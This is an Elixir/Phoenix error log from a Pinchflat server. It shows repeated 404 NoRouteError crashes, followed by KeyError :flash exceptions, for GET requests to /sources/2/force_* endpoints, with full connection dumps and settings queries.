{"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT3g66Xsd77AAC4uC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162976.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48342}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162976.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48342}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162977.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ (truncated) 17:53:43.092 [info] GET /sources/2/force_index 17:53:43.092 [debug] QUERY OK source="settings" db=0.1ms idle=111.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.093 [debug] QUERY OK source="settings" db=0.1ms idle=67.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.093 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:43.093 [error] #PID<0.162979.0> running PinchflatWeb.Endpoint (connection #PID<0.162978.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48348}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162979.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT3uIzbXFC9MAC4ui"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48348}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48348}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162979.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in (truncated) 17:53:43.123 [info] GET /sources/2/force_redownload 17:53:43.123 [debug] QUERY OK source="settings" db=0.2ms idle=97.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.124 [debug] QUERY OK source="settings" db=0.1ms idle=86.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.124 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:43.124 [error] #PID<0.162981.0> running PinchflatWeb.Endpoint (connection #PID<0.162980.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162980.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48358}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162981.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT31c8vFN4s0AC4vC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162980.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48358}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162980.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48358}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162981.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :pl (truncated) 17:53:43.136 [info] GET /sources/2/force_metadata_refresh 17:53:43.137 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=99.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.137 [debug] QUERY OK source="settings" db=0.1ms idle=44.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.138 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:43.138 [error] #PID<0.162983.0> running PinchflatWeb.Endpoint (connection #PID<0.162982.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162982.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48360}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162983.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT34uOaNhf-EAC4vi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162982.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48360}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162982.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48360}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162983.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ (truncated) 17:53:43.205 [info] GET 